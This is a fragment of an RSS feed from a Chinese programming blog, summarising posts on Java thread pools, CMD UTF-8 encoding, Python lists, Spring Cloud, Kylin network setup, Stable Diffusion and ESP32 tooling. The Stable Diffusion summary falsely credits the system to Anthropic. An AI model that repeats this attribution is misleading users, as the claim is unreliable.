      <link>https://bchobby.github.io/posts/8e0f38727c05e263be16acfffa8181a8/</link>
      <pubDate>Sat, 11 Nov 2023 22:08:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e0f38727c05e263be16acfffa8181a8/</guid>
      <description>文章目录 一、Executor接口二、ExecutorService接口三、ThreadPoolExecutor类1、状态2、Worker3、扩展 四、ForkJoinPool类1、工作窃取算法2、Fork/Join的设计3、执行原理 五、ScheduledThreadPool类1、ScheduledExecutorService2、比较Timer 六、Executors类 Executor 框架是 Java5 之后引进的，在 Java 5 之后，通过 Executor 来启动线程比使用 Thread 的 start 方法更好，除了更易管理，效率更好（用线程池实现，节约开销）。 Executor 框架不仅包括了线程池的管理，还提供了线程工厂、队列以及拒绝策略等，Executor 框架让并发编程变得更加简单。&#xA;Executor框架的组成：&#xA;任务（Runnable/Callable）：任务通过Runnable接口或Callable接口进行定义。Runnable接口或Callable接口实现类都可以被 ThreadPoolExecutor执行任务的执行（Executor）：任务执行机制的核心接口 Executor，以及继承自Executor接口的ExecutorService接口。ThreadPoolExecutor实现了ExecutorService接口异步的计算结果（Future）：Future接口以及Future接口的实现类FutureTask类都可以代表异步计算的结果。当我们把Runnable接口或Callable接口的实现类提交给ThreadPoolExecutor执行后就会返回一个Future对象 一、Executor接口 线程池简化了线程的管理工作， 并且JUC提供了一种灵活的线程池实现来作为Executor框架的一部分。在Java类库中，任务执行的主要抽象不是Thread而是Executor，Executor只定义了execute一个方法，是最顶层的接口。&#xA;/** * Executes the given command at some time in the future. The command * may execute in a new thread, in a pooled thread, or in the calling * thread, at the discretion of the {@code Executor} implementation. * * @param command the runnable task * @throws RejectedExecutionException if this task cannot be * accepted for execution * @throws NullPointerException if command is null */ void execute(Runnable command); execute方法接受一个Runnable参数，这个方法定义为在未来的某个时间执行传入的方法，方法的运行可以在一个新的线程，在线程池或者在调用的线程中，该方法无法接收到线程的执行结果（当然Runnable接口本身也没有返回值）。</description>
    </item>
    <item>
      <title>Windows修改CMD窗口编码为UTF-8</title>
      <link>https://bchobby.github.io/posts/6b4b9023a78200dfebab87683b9b1599/</link>
      <pubDate>Sat, 11 Nov 2023 17:58:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b4b9023a78200dfebab87683b9b1599/</guid>
      <description> 临时修改，只作用于当前打开的窗口 进入cmd窗口后，直接执行 chcp 65001执行完后，cmd的编码格式就是UTF-8 永久修改，修改注册表 在运行中输入 regedit，找到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor，然后 “右键-新建”，选择 “字符串值”，“名称” 列填写 autorun，数值数据填写 chcp 65001，注意中间有个空格。添加成功后，再次在运行中输入 cmd，就会自动把编码格式设置为 UTF-8 </description>
    </item>
    <item>
      <title>python中的列表是什么</title>
      <link>https://bchobby.github.io/posts/d999d12ed2b0a5127ed8412cacaf4b6e/</link>
      <pubDate>Sat, 11 Nov 2023 16:35:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d999d12ed2b0a5127ed8412cacaf4b6e/</guid>
      <description>示例&#xA;列表是元素的集合，存储在一个变量中。列表中存储的元素类型没有限制，下面是列表的一个简单例子。&#xA;students = [&#39;bernice&#39;, &#39;arron&#39;, &#39;cody&#39;] for student in students: print(&#34;Hello, &#34; + student.title() + &#34;!&#34;) 命名和定义列表&#xA;因为列表是对象的集合，所以给它们一个复数的名称是很好的做法。如果列表中的每一项都是一个 car, 就命名列表为 &#39;cars&#39;。这样给你了一种直接的方式代表列表（&#39;cars&#39;），（’dog‘）指代列表项。&#xA;在 Python 中，用中括号定义一个列表。如下所示：&#xA;dogs = [&#39;border collie&#39;, &#39;australian cattle dog&#39;, &#39;labrador retriever&#39;] 访问列表元素&#xA;列表中的元素通过位置来标识，从零开始。访问列表中的第一个元素，如下所示：&#xA;dogs = [&#39;border collie&#39;, &#39;australian cattle dog&#39;, &#39;labrador retriever&#39;] dog = dogs[0] print(dog.title()) 括号中的数字为列表的索引（index）。因为列表索引从0开始，列表元素的索引总是比它的位置小。因此 Python 被称为 zero-indexed 语言（诸如 C, Java）。&#xA;因此访问第二个元素，我们需要用索引1，以此类推。&#xA;dog = dogs[1] print(dog.title()) 访问列表中最后一个元素&#xA;访问列表中的最后一个元素，可以用索引 -1。&#xA;dog = dogs[-1] print(dog.title()) 访问倒数第二个，倒数第三个也可以用这种语法。</description>
    </item>
    <item>
      <title>栈 和 队列</title>
      <link>https://bchobby.github.io/posts/f1ca9564b2cddec2c8cd14c27d99a1bb/</link>
      <pubDate>Sat, 11 Nov 2023 16:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1ca9564b2cddec2c8cd14c27d99a1bb/</guid>
      <description>什么是栈? 一种特殊的线性表，只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈顶，另一端称为栈底。栈中的数据元素遵守后进先出（LIFO - Last In First Out）的原则。&#xA;从数据结构的角度来看，栈 就是一种数据结构。&#xA;压栈 和 出栈&#xA;压栈：栈的插入操作叫做进栈/压栈/入栈，入数据在栈顶。出栈：栈的删除操作叫做出栈。出数据在栈顶。 Java 虚拟机栈 Java 虚拟机 JVM 可分五个部分&#xA;方法区：存放类定义信息、字节码、常量等数据，在Sun HotSpot JVM中，这块也称为Perm Gen。&#xA;堆：创建的对象信息将放入堆中，堆内部如何实现各虚拟机各不相同，对于Sun HotSpot JVM来说又分为Young Gen和Tenured Gen，更详细描述参见《[Java性能剖析]Sun JVM内存管理和垃圾回收 》&#xA;Java栈：对于每个执行线程，会分配一个Java栈，JVM在执行过程当中，每执行一个方法，都会为方法在当前栈中增加一个栈帧，每个栈帧的信息与具体实现相关，但一般会由3部分组成：变量区，方法参数和本地变量会放入这个位置，大小是固定的，在进行方法时会先分配好，在类定义中，会由max local来指定这块区的大小；方法信息区，会包括当前类常量池的入口地址等信息，这块大小也是固定的；操作栈，与Intel体系架构中的运算使用寄存器来进行不一样，JVM的字节码的方法调用、运算等需要的参数，都是通过操作栈来传递的。在类定义中，会由max stack指定最大的操作栈。关于Java栈的更详细描述参见《Java 栈内存介绍 》&#xA;本地方法栈：对本地方法的调用，并不会使用Java栈而是使用本地方法栈，本地方法栈的组成取决于所使用的平台和操作系统.&#xA;PC寄存器/程序计数器：对于每个执行线程会分配一个PC寄存器，寄存器中存放当前字节码的执行位置 栈帧 在调用函数的时候，我们会为这个函数在java虚拟机栈中开辟一块内存，叫做栈帧。 栈的使用 1.入栈 和 出栈的顺序 中缀 和 后缀 表达式的表现形式 中缀表达式：最常见的表达式，就是我们平常使用的： a + b、a - c、a * b、a/b。&#xA;还可以加括号 (5 + 4) * 3 - 2。&#xA;后缀表达式：就拿中缀的式子【(5 + 4) * 3 - 2】来说，它的后缀表达式为 54+ 3 * 2 -</description>
    </item>
    <item>
      <title>pymssql._pymssql.OperationalError处理方法python无法连接sqlserver2008r2 的方法</title>
      <link>https://bchobby.github.io/posts/b1eec3e8a64c4ab33b3ef90ce2c2601b/</link>
      <pubDate>Sat, 11 Nov 2023 16:20:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1eec3e8a64c4ab33b3ef90ce2c2601b/</guid>
      <description> pymssql._pymssql.OperationalError: (20009, b’DB-Lib error message 20009, severity 9:\nUnable to conn&#xA;severity 9:\nAdaptive Server connection failed&#xA;打开sql server 配置管理器。&#xA;将TPC/IP 启用&#xA;import pyodbc&#xA;Replace ‘server_name’, ‘database_name’, ‘username’, and ‘password’ with your server name, database name, username, and password conn = pyodbc.connect(‘DRIVER={ODBC Driver 17 for SQL Server};SERVER=server_name;DATABASE=database_name;UID=username;PWD=password’) cursor = conn.cursor()# Replace ‘table_name’ with the name of your table cursor.execute(‘SELECT * FROM table_name’) for row in cursor: print(row) Close the connectionconn.close() </description>
    </item>
    <item>
      <title>stable diffusion入门</title>
      <link>https://bchobby.github.io/posts/8dd28ffe5fdee4c90cea77764e566717/</link>
      <pubDate>Sat, 11 Nov 2023 13:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dd28ffe5fdee4c90cea77764e566717/</guid>
      <description>一.简介 1.1 什么是stable diffusion&#xA;Stable Diffusion译为稳定扩散,是一个开源的图像生成AI系统,由Anthropic公司开发,我们可以通过文字描述生成图片,让AI根据我们的想象画出一幅图来,也可以通过图像生成图片,将现实世界中的照片经过AI处理变成二次元画风&#xA;其原理是增加噪声,去除噪声的过程,如下图所示(截图来自B站,Nenly同学)&#xA;1.2 组成部分&#xA;模型: 通过大量素材训练得到的模型,模型决定出图风格,如果训练的是二次元素材,就出二次元风格的,写实风就出写实风格&#xA;模型下载网站:&#xA;奇维泰&#xA;抱脸&#xA;Art提示词: 由英文单词组成,半角逗号隔开,分为正向提示词和反向提示词,正向输入想生成图片的一些特征,即图片中想要呈现的东西,反向提示词就是告诉AI,图片中不想要出现的东西迭代步数: 默认20,也就是AI处理图片的次数,值越高图片质量越精细,速度越慢采样方法: 是一种用于模拟随机过程的方法,它可以模拟具有长尾分布的随机变量。该方法的主要思想是将随机变量分解为稳定分布和正态分布的组合,然后使用随机数生成器来模拟这些分布。&#xA;… 二.如何使用 2.1 在线AI生成网站&#xA;https://www.liblib.ai 国内的生成网站,无需梯子,每天免费生成100次https://dreamstudio.ai 需要梯子,积分制,首次赠送100,生图1次消耗3~4积分https://lexica.art 需要梯子,只支持模型Lexica Aperture v2,生图质量极高https://playgroundai.com 需要梯子,可免费生图1000次,支持SD1.5，SD2.1,自有模型Playground AI 2.2 本地安装&#xA;对硬件要求比较高,必须是独立显卡,显存6G以上,显卡越好,生成速度越快,质量越好&#xA;优势:&#xA;无限制安装各种插件,例如换脸插件roop,人脸修复ADetailer,ControlNet等插件没有使用次数限制&#xA;安装教程 stable diffusion主界面(秋叶整合版):&#xA;二.文生图 提示词基本格式:&#xA;人物及主体特征: 1girl(1男孩),1boy(1女孩)…场景特征: outdoor(室外),indoor(室内)…环境光照: day(白天),night(夜晚)…画幅视角: close-up(特写),full body(全身)… 示例一:&#xA;正向提示词:&#xA;identification photo,1 girl,long hair,bangs,looking at viewer,(blue suit,blue tie,Far Mountain background:1.3),happy,smile,highres,outdoors,naughty_face,&#xA;反向提示词:&#xA;EasyNegative,badhandv4,ng_deepnegative_v1_75t,(worst quality:2), (low quality:2), (normal quality:2), lowres, ((monochrome)), ((grayscale)), bad anatomy,DeepNegative, skin spots, acnes, skin blemishes,(fat:1.</description>
    </item>
    <item>
      <title>有效表达，胜过你十倍的默默努力</title>
      <link>https://bchobby.github.io/posts/afc2e7b21f7576e597d30bc16ff65690/</link>
      <pubDate>Sat, 11 Nov 2023 11:37:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afc2e7b21f7576e597d30bc16ff65690/</guid>
      <description>一、沟通常见几大误区&#xA;所以，想要消弥情感纠纷，化解利益冲突，我们就要学会沟通，不断打破自己的边界，才能拥有更丝滑、更良性的互动氛围。&#xA;但在日常沟通中，我们往往会存在几个误区：&#xA;1.只有双方都明确，沟通才会开始 我们常说，“沟通，要先有一个良好的沟通态度。”&#xA;所以很多时候，我们以为只要我单方面主动、积极地沟通，就是良好沟通的开始。&#xA;但往往你会发现，我都主动地想要化解问题了，为什么对方还是不想搭理我？甚至愈发不耐烦，全身上下都在抗拒我？&#xA;其实，良好的互动，是建立在双方都明确想要沟通的基础上。如果对方回避、不想沟通时，无论你怎么努力，都是在适得其反。&#xA;另外，沟通不是从我们说话开始的，而是从我们和对方碰面那一刻开始了。&#xA;很多时候，我们的意图是想把话说明白，找到问题、化解矛盾，但你说话前的肢体动作、愤怒表情，会给对方传达出：你还在情绪中，吵下去只会矛盾升级，并不能心平气和地解决问题。&#xA;2.沟通得多，不代表沟通得好 沟通得多，也并不代表沟通得好。&#xA;当你以为自己在努力地找对方沟通时，在对方眼里：你可能只是在持续地传递负面情绪，反而会阻碍对方沟通的意愿；或者使得两人卷入更长时间的争吵，激发更大的负面情绪。&#xA;另外，不是所有的问题，都可以通过沟通来解决。&#xA;解决问题，需要双方共同的意愿和努力，如果沟通很顺畅，双方也都很坦诚，最后却很难落到现实的改变，问题也无法得到解决。&#xA;虽然解决不了所有问题，但好的沟通，一定可以帮助你更好地了解你所处的现状。&#xA;3.好的沟通≠搞好关系 好的社交和沟通能力，可以促进好的关系产生，但并不意味着你要跟每个人搞好关系。&#xA;现代社会，每一个个体都越来越独立，大家更多讲究的是高效合作而不是低效人情。&#xA;一个创业者曾讲了一个故事。他新招了一个助理，有一天，助理非常苦恼地对他说：“我特别不擅长拉关系，跟领导沟通不会拍马屁，在公司没有存在感。”&#xA;他很意外：“跟领导沟通不需要拍马屁啊。”&#xA;小助理一愣。&#xA;他接着说；“如果你什么都干不好，拍马屁是没有用的。领导喜欢的是，业务能力强的人。跟领导沟通，把业务说清楚，比刻意讨好重要的多。”&#xA;这个道理看似简单，但很多人都没想明白。&#xA;事实上，沟通从来不是拉关系，沟通的本质是有效的信息传递。&#xA;二、高效沟通的三个要点：&#xA;准确、舒服、有边界&#xA;所以，沟通你不需要面面俱到，说难也很简单，它只需要掌握几个核心，就可以在各种场合游刃有余。&#xA;好的沟通，往往有三个要点：准确，舒服，有边界。&#xA;1.“沟”：准确，高效地传递信息 脱口秀演员在创作段子时，有一个原则就是：精简。&#xA;因为简洁即幽默，任何冗余和累赘都是好笑最大的敌人。如果你给了太多的无效信息，最后讲出笑点的时候，大家往往会觉得：啊？就这？&#xA;一件事如果你不能用简洁明了地语言表达出来，说明你还没想明白。举一个思文曾在《脱口秀大会》上说过的段子：&#xA;女人啊，即便是美貌，也需要你的经济能力做支撑。因为你可以买各种衣服啊，护肤品啊，美容卡啊。&#xA;俗话说得好，没有丑女人，只有穷女人，你别看吴昕现在长得好看，你都不知道她以前没钱的时候，有多年轻。&#xA;这段话铺垫的就很简洁，观众一下就能捕捉到笑点——女人有钱才好看。吴昕有钱好看，没钱的时候，一个干脆的反转——年轻！&#xA;如果这段话，加上一下废话后就变成下边这样，你感受一下效果。&#xA;有一句俗话，相信很多人都听过，叫“没有丑女人，只有懒女人”。这句话说的就是女人要有钱，你不够漂亮就是因为你没有足够的经济实力把自己打扮得漂亮。&#xA;只要你有钱，就能花钱让自己变得漂亮。你可以买各种衣服啊，化妆品啊，护肤品啊，做保养，做美容……&#xA;就拿吴昕来说吧，你看她现在长得多好看，但是你如果不看她现在，放到以前再看她，那个时候啊，她很年轻。&#xA;是不是觉得，啰里吧嗦的，这是在说啥呢？&#xA;不只是讲脱口秀，日常沟通也一样，需要给信息提纯。大多数人总习惯描述一件事的时候，添加无关紧要的细节，大大削弱了想要准确表达的信息度。&#xA;你可以尝试把想要表达的内容列出来，再把无关的信息的删掉，剩余的按照有序的方式说出来就可以了。&#xA;2.“通”：有来有往，舒服地接收信息 我们日常沟通，往往不是单向表达就能搞定的。人与人之间的沟通是传递信息，接受信息，再反馈信息的过程。&#xA;这就需要你在其中把握谈话的节奏，调节氛围，让对话人感到舒服。&#xA;如何做到“双向往来”，让对方舒服地接收信息？两个技巧分享给你。&#xA;① 控制情绪，不阻断沟通&#xA;我们都遇到过这样的情况，谈话的一方说话火药味很重，带着浓浓地攻击性。那另一方给予反馈的时候，出于自我防御机制，也会与你针锋相对。双方情绪暗潮汹涌，往往就无法理性讨论问题，甚至会上升到争吵或者冷战。&#xA;想要在沟通中避免情绪化，一个简单的方法是避免用反问句。反问句背后是强烈的情绪，不满、质疑、鄙视等。&#xA;比如上级对下级说：“这个问题你都没想明白吗？”&#xA;父母对子女说：“这么简单的题，怎么就教不会你呢？”&#xA;妻子对丈夫说：”连个碗你都不会洗吗？”&#xA;说话人自以为在陈述现象，但是表达方式听到的人感到难受。反映在沟通上，就是抗拒、反驳，阻断了正常的交流。&#xA;正确地做法是多用陈述句。比如你将上面这句话，换成陈述句——&#xA;“这个问题你回去还得再考虑一下。”&#xA;“这道题，从这个角度你再想一想。”&#xA;“碗可能不够干净，得再洗一次。”&#xA;这样是不是就变得容易被人接受多了？把反问句从你的沟通语系里删掉，你的沟通会顺畅很多。&#xA;② 放下评价，与对方共情&#xA;在沟通中如果想让对方愿意你听说，并愿意告诉你一些自己的故事。首先要放下评判，尝试“共情”，努力理解对方。&#xA;这一点从不少访谈节目中，就可以看出答案。一个好的访谈主持人，并不会直接表达对采访对象的个人评价，更多是给予理解和倾听，营造出一个安全的表达环境，激发出对方的表达欲。&#xA;就比如一个负面缠身的商业大佬，你让他去复盘自己的过往、得失，以及他们面对外界巨大负面评价时候的内心想法，是非常困难的。最好的办法就是让他感到你的诚恳——不评判。&#xA;对一个表达欲强、言辞犀利的采访嘉宾，你不能问他：“为什么你要抨击竞对？”“网上都说您说话欠妥当。你认为呢？”&#xA;你得这样表达，“当时是什么情况，让你选择会这么做？”“作为拥有一定知名度的创业者，面对这样的负面，会觉得压力很大吗？当时你是如何度过这段时间的？”&#xA;当谈话对象感受到“被理解”，“你站在他这边的“，谈话才能顺畅地进行下去。&#xA;3.会说话的人自带边界感 与人沟通时，你面对的是一个复杂环境。“怎么说”比“说什么”更重要。每次遇到的场景和人不同，该说什么话，把握什么样的分寸都需要揣摩。</description>
    </item>
    <item>
      <title>Spring Cloud那些事</title>
      <link>https://bchobby.github.io/posts/e7a9bcfc9821c40a0c6c74a3fa0dadb0/</link>
      <pubDate>Sat, 11 Nov 2023 08:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7a9bcfc9821c40a0c6c74a3fa0dadb0/</guid>
      <description>1、什么是 Spring Cloud？ Spring cloud 流应用程序启动器是基于 Spring Boot 的 Spring 集成应用程序， 提供与外部系统的集成。Spring cloud Task，一个生命周期短暂的微服务框架， 用于快速构建执行有限数据处理的应用程序。 2、使用 Spring Cloud 有什么优势？ 使用 Spring Boot 开发分布式微服务时，我们面临以下问题 1、与分布式系统相关的复杂性-这种开销包括网络问题，延迟开销，带宽问题， 安全问题。 2、服务发现-服务发现工具管理群集中的流程和服务如何查找和互相交谈。它涉 及一个服务目录，在该目录中注册服务，然后能够查找并连接到该目录中的服务。 3、冗余-分布式系统中的冗余问题。 4、负载平衡 --负载平衡改善跨多个计算资源的工作负荷，诸如计算机，计算机 集群，网络链路，中央处理单元，或磁盘驱动器的分布。 5、性能-问题 由于各种运营开销导致的性能问题。 6、部署复杂性-Devops 技能的要求。 3、服务注册和发现是什么意思？Spring Cloud 如何实现？ 当我们开始一个项目时，我们通常在属性文件中进行所有的配置。随着越来越多 的服务开发和部署，添加和修改这些属性变得更加复杂。有些服务可能会下降， 而某些位置可能会发生变化。手动更改属性可能会产生问题。 Eureka 服务注册 和发现可以在这种情况下提供帮助。由于所有服务都在 Eureka 服务器上注册并通 过调用 Eureka 服务器完成查找，因此无需处理服务地点的任何更改和处理。 4、负载平衡的意义什么？ 在计算中，负载平衡可以改善跨计算机，计算机集群，网络链接，中央处理单元 或磁盘驱动器等多种计算资源的工作负载分布。负载平衡旨在优化资源使用，最 大化吞吐量，最小化响应时间并避免任何单一资源的过载。使用多个组件进行负 载平衡而不是单个组件可能会通过冗余来提高可靠性和可用性。负载平衡通常涉 及专用软件或硬件，例如多层交换机或域名系统服务器进程。 5、什么是 Hystrix？它如何实现容错？ Hystrix 是一个延迟和容错库，旨在隔离远程系统，服务和第三方库的访问点，当 出现故障是不可避免的故障时，停止级联故障并在复杂的分布式系统中实现弹性。 通常对于使用微服务架构开发的系统，涉及到许多微服务。这些微服务彼此协作。 思考以下微服务 假设如果上图中的微服务 9 失败了，那么使用传统方法我们将传播一个异常。但 这仍然会导致整个系统崩溃。 随着微服务数量的增加，这个问题变得更加复杂。微服务的数量可以高达 1000. 这是 hystrix 出现的地方 我们将使用 Hystrix 在这种情况下的 Fallback 方法功能。 我们有两个服务 employee-consumer 使用由 employee-consumer 公开的服务。 简化图如下所示 现在假设由于某种原因，employee-producer 公开的服务会抛出异常。我们在这 种情况下使用 Hystrix 定义了一个回退方法。这种后备方法应该具有与公开服务相 同的返回类型。如果暴露服务中出现异常，则回退方法将返回一些值。 6、什么是 Hystrix 断路器？我们需要它吗？ 由于某些原因，employee-consumer 公开服务会引发异常。在这种情况下使用 Hystrix 我们定义了一个回退方法。如果在公开服务中发生异常，则回退方法返回 一些默认值。 如果 firstPage method() 中的异常继续发生，则 Hystrix 电路将中断，并且员工 使用者将一起跳过 firtsPage 方法，并直接调用回退方法。 断路器的目的是给第 一页方法或第一页方法可能调用的其他方法留出时间，并导致异常恢复。可能发 生的情况是，在负载较小的情况下，导致异常的问题有更好的恢复机会 。 7、什么是 Netflix Feign？它的优点是什么？ Feign 是受到 Retrofit，JAXRS-2.</description>
    </item>
    <item>
      <title>kylinOSv10配置IP（静态IP以及动态IP）</title>
      <link>https://bchobby.github.io/posts/30487c5d78de82ff8778221c21b3e253/</link>
      <pubDate>Fri, 10 Nov 2023 23:06:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30487c5d78de82ff8778221c21b3e253/</guid>
      <description>需求 以前用的都是CentOS红帽系的Linux系统，修改IP地址都是滚瓜烂熟的命令，但kylinOS虽然也有相同的文件、相同的命令，但配置IP的方式还是不一样（相同操作在麒麟上不生效）。&#xA;查询了麒麟的管理手册，具体配置IP的方式如下。&#xA;麒麟Linux配置IP/kylinosv10配置IP 动态IP 打开终端，以网口 eth0 为例，粘贴以下代码即可，&#xA;nmcli conn add connection.id eth0-dhcp type ether ifname eth0 ipv4.method auto 其中“eth0-dhcp”为连接的名字，可以根据自己的需要命名方便记忆和操作的名字；“ifname eth0”为配置的网口，根据自己的设备情况按需调整&#xA;静态IP 打开终端，以网口 eth0 为例，粘贴以下代码即可，&#xA;nmcli conn add connection.id eth0-static type ether ifname eth0 ipv4.method manual ipv4.address 192.168.1.10/24 ipv4.gateway 192.168.1.254 ipv4.dns 192.168.1.254 其中“eth0-static”为连接的名字，可以根据自己的需要命名方便记忆和操作的名字；“ifname eth0”为配置的网口，根据设备情况按需调整；IP、子网掩码、网关根据实际网络按需配置。&#xA;注意 需要保证对应网卡、虚拟机网卡、vlan-tag对应正确。&#xA;操作即刻生效。</description>
    </item>
    <item>
      <title>使用GPTs出现错误You do not currently have access to this feature</title>
      <link>https://bchobby.github.io/posts/db513dbd8634209f21d1ce96a2b6e4e4/</link>
      <pubDate>Fri, 10 Nov 2023 21:51:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db513dbd8634209f21d1ce96a2b6e4e4/</guid>
      <description>最近OpenAI发布了震撼更新，推出了革命性的GPTs，GPTs 是 ChatGPT 的自定义版本，用户可以通过组合指令、知识和功能来针对特定任务或主题进行定制。&#xA;说得直白一点就是chatGPT相当于一个操作系统，开发者基于chatGPT环境提供的AI能力和调用其他接口开发程序，称为GPT程序或GPT应用，程序托管运行在chatGPT环境，用户可以通过上下文对话使用。&#xA;ChatGPT跟GPTs应用的关系，相当于手机和手机应用的关系，只是把交互形式变成了自然语言对话。&#xA;最近很多小伙伴反映使用GPTs出现错误You do not currently have access to this feature&#xA;错误原因： ChatGPT使用GPTs出现错误You do not currently have access to this feature | Read dev Docs 博客</description>
    </item>
    <item>
      <title>【poi导出excel模板——通过建造者模式&#43;策略模式&#43;函数式接口实现】</title>
      <link>https://bchobby.github.io/posts/00263b81b77183ff3b8f0459e76c217c/</link>
      <pubDate>Fri, 10 Nov 2023 17:53:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00263b81b77183ff3b8f0459e76c217c/</guid>
      <description>poi导出excel模板——通过建造者模式+策略模式+函数式接口实现 poi导出excel示例优化思路代码实现补充建造者模式策略模式 poi导出excel示例 首先我们现看一下poi如何导出excel，这里举个例子：目前想要导出一个Map&amp;lt;sex,List&amp;gt;信息，sex作为一个sheet页，Person信息包含姓名、年龄、籍贯等，在Person下还有一个List属性，里面包含名称、时长等，这里需要通过http的response导出文件&#xA;代码如下：&#xA;import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.List; import java.util.Map; public class ExcelExportExample { public static void exportToResponse(Map&amp;lt;String, List&amp;lt;Person&amp;gt;&amp;gt; data, HttpServletResponse response) { try { response.setContentType(&#34;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&#34;); // 对于.xlsx格式 // 或者使用 response.setContentType(&#34;application/vnd.ms-excel&#34;); 对于.xls格式 response.setHeader(&#34;Content-Disposition&#34;, &#34;attachment; filename=output.xlsx&#34;); // 文件名可以根据需要修改 try (Workbook workbook = new XSSFWorkbook()) { // 或者使用 HSSFWorkbook for .xls 格式 for (Map.Entry&amp;lt;String, List&amp;lt;Person&amp;gt;&amp;gt; entry : data.entrySet()) { String sheetName = entry.</description>
    </item>
    <item>
      <title>vxetable右键菜单选项如何添加权限及根据行的数据渲染</title>
      <link>https://bchobby.github.io/posts/ae47aa532b903de711fe3f2e3ff6226f/</link>
      <pubDate>Fri, 10 Nov 2023 17:50:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae47aa532b903de711fe3f2e3ff6226f/</guid>
      <description>vxetable右键菜单选项如何添加权限及根据行的数据渲染 业务场景： ​ 页面做了按钮权限，表格上也做了右键菜单的功能，也需要给右键菜单做权限功能控制&#xA;解决思路： 通过查看文档，右键配置 menu-config选择有个属性 visibleMethod (文档说明：该函数的返回值用来决定是否允许显示右键菜单（对于需要对菜单进行权限控制时可能会用到）)，它可以获取到这些数据&#xA;({ type, options, columns, row?, rowIndex?, column?, columnIndex? }) =&amp;gt; boolean // options 就是我们的配置数据 // row 是当前点击的行 配置右键的选项的时候增加一个属性 auth: [&#34;权限编码&#34;]&#xA;需要用到 hooks 中的 usePermission 方法，来验证权限&#xA;在visibleMethod 中 去遍历 options 中的auth属性，去验证 是否有权限&#xA;代码参考 vxeTable 配置&#xA;... menuConfig: { // 右键配置 body: { options: [Options()], }, visibleMethod: visibleMethod, }, ... //options 配置 const orderClassTableMenuConfigOptions = () =&amp;gt; { return [ { code: &#39;refresh&#39;, name: &#39;刷新&#39;, prefixIcon: &#39;vxe-icon-refresh&#39;, visible: true, disabled: false, }, { code: &#39;add&#39;, name: &#39;新增&#39;, prefixIcon: &#39;vxe-icon-feedback&#39;, visible: true, disabled: false, auth: [&#34;</description>
    </item>
    <item>
      <title>Vscode的ESP32环境搭建以及烧录移植</title>
      <link>https://bchobby.github.io/posts/183d11759ded334403c9760b68ac1b25/</link>
      <pubDate>Fri, 10 Nov 2023 17:38:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/183d11759ded334403c9760b68ac1b25/</guid>
      <description>1.准备工作 无须下载python，git等软件&#xA;首先需要有VScode和ESP的离线包&#xA;下载的链接放在下面：下载自己需要的版本，ESP最好知道你要用的代码是那个版本搭建的，不然无法正常编译。版本之间有差异&#xA;VScoed：Download Visual Studio Code - Mac, Linux, Windows&#xA;ESP：dl.espressif.cn/dl/esp-idf/​​​​​​&#xA;2.环境搭建 1.下载应用 VScode的安装没什么好说的，有疑惑可以找一下教程。&#xA;关于ESP的安装，如果是首次安装需要点击应用修复&#xA;其次就是注意选择你所需要的单片机型号，其他的一直下一步等待安装即可，大概需要4.5分钟&#xA;2.ESP系统环境配置 解压esp的文件下新建工程Tools&#xA;打开VScode下载Espressif IDF的插件&#xA;进入命令面板&#xA;1.点击查看-&amp;gt;命令面板&#xA;2.电脑按下F1键，笔记本按下Fn+F1键&#xA;输入ESP-IDF，找到插件配置&#xA;点击Install.等待下载&#xA;下载可能会卡在Python的虚拟环境。如图所示&#xA;如果输出是下图所示，说明应该升级PIP&#xA;升级pip是可能出现无法下载成功的情况，原因是国外的现在太慢。对Pythone进行换源就可以解决这个问题。&#xA;首先进入通过windows+r进入CMD模式&#xA;然后根据输出我们应该在虚拟python文件下升级PIP。依次输入&#xA;E： cd e:\ESP32\Tools\python_env\idf4.4_py3.8_env\Scripts python.exe -m pip install --upgrade pip 可以输入pip list验证的pip版本&#xA;然后再次进入ESP的插件配置，点击第三个&#xA;再次进去与第一不一样【如果与第一次一样代表安装失败】，可以显示我们已经安装好的ESP，单击安装安装好的，再次运行&#xA;这样就表示安装成功了&#xA;查看配置路径&#xA;依次点击第一第二选项，看是否与你开始选择文件夹位置一样。&#xA;【后续一直别人的代码需要用到这一步】&#xA;3.例程创建编译及代码烧录 创建例程&#xA;笔记本Fn+F1电脑F1进入命令面板，输入ESP-IDF Example展示例程&#xA;随机选择一个进行移植，等待编译，一两分钟左右。&#xA;编译结果显示如下，代表显示成功&#xA;点击COM可以切换串口，点击ESP32可以切换型号，第四个是SDK配置,第五个是删除build【删除已经运行好的文件】，第五个是生成bulid,也是编译的意思，倒数第一个就是烧录的意思。&#xA;在编译时可能出现.csv的报错&#xA;4.已有工程移植 用VScode打开已有工程&#xA;首先配置串口和删除Build&#xA;进入到配置路径，这个是原来文件的路径【IDF-PATH和IDF-TOOLS-PATN都要修改为你开始选择的路径】&#xA;修改为我们的路径并按下回车键&#xA;进行编译，如果上述按照过程一般不会出错。&#xA;点击最后一个火花是直接编译加下载，下载成功界面，下载前会让你选择下载器类型，根据实际情况选择&#xA;可能出现的错误：&#xA;如图错误是因为没有对应的自定义的分区表.cvs文件&#xA;通过点击齿轮的图标进入SDK设置&#xA;自己加上就可以 新建一个分区表文件，要与自己设置的或者默认的一样，放在工程目录下。我在文件里内容为</description>
    </item>
    <item>
      <title>STM32——HAL库中寄存器地址名称映射分析</title>
      <link>https://bchobby.github.io/posts/7652c7b79d500924d7fac611e706fa7d/</link>
      <pubDate>Fri, 10 Nov 2023 17:32:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7652c7b79d500924d7fac611e706fa7d/</guid>
